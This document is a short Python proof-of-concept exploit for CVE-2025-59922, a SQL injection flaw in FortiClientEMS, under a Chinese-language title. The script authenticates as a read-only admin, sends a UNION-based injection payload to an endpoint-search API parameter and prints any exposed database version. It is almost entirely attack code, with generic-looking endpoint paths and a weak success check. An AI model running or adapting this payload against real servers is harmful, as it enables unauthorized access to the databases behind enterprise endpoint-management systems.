CVE-2025-59922 FortiClientEMS SQL注入漏洞

# CVE-2025-59922 FortiClientEMS SQL Injection PoC # Requires authenticated admin access (read-only permission sufficient) import requests import sys target = "https://target-forticlientems.local" # Authentication with read-only admin credentials session = requests.Session() login_data = { "username": "admin", "password": "password" } # Login request login_url = f"{target}/api/v1/auth/login" resp = session.post(login_url, json=login_data, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Authentication failed: {resp.status_code}") sys.exit(1) print("[+] Authentication successful") # SQL Injection test payload (UNION-based injection) sql_payload = "' UNION SELECT NULL,NULL,version(),NULL,NULL--" injection_point = "/api/v1/endpoints/search" params = { "query": sql_payload, "limit": 10 } # Send malicious request print(f"[*] Sending SQL injection payload to {injection_point}") resp = session.get(f"{target}{injection_point}", params=params, verify=False, timeout=30) if resp.status_code == 200 and "version" in resp.text.lower(): print("[+] SQL Injection confirmed! Database version exposed.") print(f"[+] Response: {resp.text[:500]}") else: print(f"[-] Injection test failed. Status: {resp.status_code}") print(f"[-] Response: {resp.text[:200]}")